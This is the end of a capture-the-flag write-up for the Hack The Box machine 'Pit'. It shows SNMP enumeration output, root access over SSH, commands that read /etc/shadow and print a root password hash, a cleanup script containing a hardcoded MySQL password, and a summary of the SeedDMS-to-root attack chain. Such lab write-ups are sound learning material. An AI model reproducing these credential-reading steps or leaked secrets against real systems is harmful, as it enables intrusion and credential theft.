root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
login

Login Name SELinux User MLS/MCS Range Service

__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
14:30:54 up 2:26, 1 user, load average: 0.00, 0.00, 0.00
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 31
NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING: total used free shared buff/cache available
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: Mem: 3.8Gi 379Mi 3.1Gi 8.0Mi 330Mi 3.2Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: Swap: 1.9Gi 0B 1.9Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: OK - Connection to database successful.
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING: System release info
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: CentOS Linux release 8.3.2011
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: SELinux Settings
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: user
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING: Labeling MLS/ MLS/
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: SELinux User Prefix MCS Level MCS Range SELinux Roles
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: guest_u user s0 s0 guest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING: unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: user_u user s0 s0 user_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING: xguest_u user s0 s0 xguest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: login
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: Login Name SELinux User MLS/MCS Range Service
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: __default__ unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".28 = STRING: michelle user_u s0 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".29 = STRING: root unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".30 = STRING: System uptime
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = STRING: 14:31:07 up 2:26, 1 user, load average: 0.00, 0.00, 0.00
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = No more variables left in this MIB View (It is past the end of the MIB tree)
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# ssh -i id_rsa root@10.10.10.241
Web console: https://pit.htb:9090/

Last login: Mon May 10 11:42:46 2021
[root@pit ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@pit ~]# whoami
root
[root@pit ~]# cat root.txt
cfcabb6990fb551b2b4627fb4e786946
[root@pit ~]# cat /etc/shadow | grep root
root:$6$4ZnZ0Iv3NzFIZtKa$tA78wgAwaBBSg96ecMRPYIogQmANo/9pJhHmf06bCmbKukMDM9rdT2Mdc6UhwD1raDzXIrk.zjQ9lkJIoLShE.:18757:0:99999:7:::

Cleanup Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[root@pit ~]# cat cleanup.sh 
#!/bin/bash

# Remove attached files (keep "Upgrade Note")
for d in `/usr/bin/find /var/www/html/seeddms51x/data/1048576/ -mindepth 1 -type d -mmin +5 -not -name 21`
do
rm -rf $d
id=${d##*/}
/usr/bin/mysql -u root -p'ek)aizee^FaiModa~ce]z6c' seeddms <<DELETE_QUERY
DELETE FROM tblDocumentContent where id = $id;
DELETE FROM tblDocuments where id = $id;
DELETE_QUERY
done

# Restore monitoring scripts
/usr/bin/rm -rf /usr/local/monitoring/*
/usr/bin/cp /root/monitoring/* /usr/local/monitoring
/usr/bin/chmod 700 /usr/local/monitoring/*

# Clean /tmp directory
/usr/bin/rm -rf /tmp/*

# Restart php-fpm
/usr/bin/systemctl restart php-fpm.service

# Clean authorized_keys
> /root/.ssh/authorized_keys

Summary of knowledge

  • snmp information gathering
  • SeedDMS versions < 5.1.11 - Remote Command Execution
  • MYSQL creds leak in settings.xml
  • to get shell script excecute by SNMP OID
  • Permission misconfiguration privesclation

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…